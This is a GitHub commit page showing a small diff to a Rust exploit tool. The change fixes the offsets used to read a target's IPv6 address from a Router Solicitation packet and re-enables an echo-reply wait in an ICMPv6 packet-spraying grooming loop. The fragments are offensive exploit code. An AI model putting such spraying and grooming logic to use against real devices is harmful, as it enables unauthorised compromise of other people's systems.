Skip to content

Commit

Permalink
FIx echo ping request and reply linking
Browse files Browse the repository at this point in the history
  • Loading branch information
fedebuonco committed Oct 12, 2024
1 parent e96cd55 commit 5653b13
Showing 1 changed file with 2 additions and 2 deletions.
4 changes: 2 additions & 2 deletions src/exploit.rs
Original file line number Diff line number Diff line change
Expand Up @@ -303,7 +303,7 @@ impl Exploit {
// Wait for the ICMPv6 Router Solicitation packet
println!("[+] Waiting for Router Solicitation packet");
let result = listen_for_packet(rx.as_mut(), is_icmpv6_router_sol);
let target_ipv6: [u8; 16] = result.unwrap()[29..45].try_into().unwrap();
let target_ipv6: [u8; 16] = result.unwrap()[22..38].try_into().unwrap();
println!("[+] Target IPv6 {:?}", target_ipv6);
// Enters grooming loop
spray(
Expand Down Expand Up @@ -567,7 +567,7 @@ fn spray(
let _result = tx
.send_to(icmpv6_adv.as_slice(), None)
.expect("[-] Failed to send icmpv6adv");
// let _result = listen_for_packet(rx, is_icmpv6_echo_reply);
let _result = listen_for_packet(rx, is_icmpv6_echo_reply);
}
}

Expand Down

0 comments on commit 5653b13

Please sign in to comment.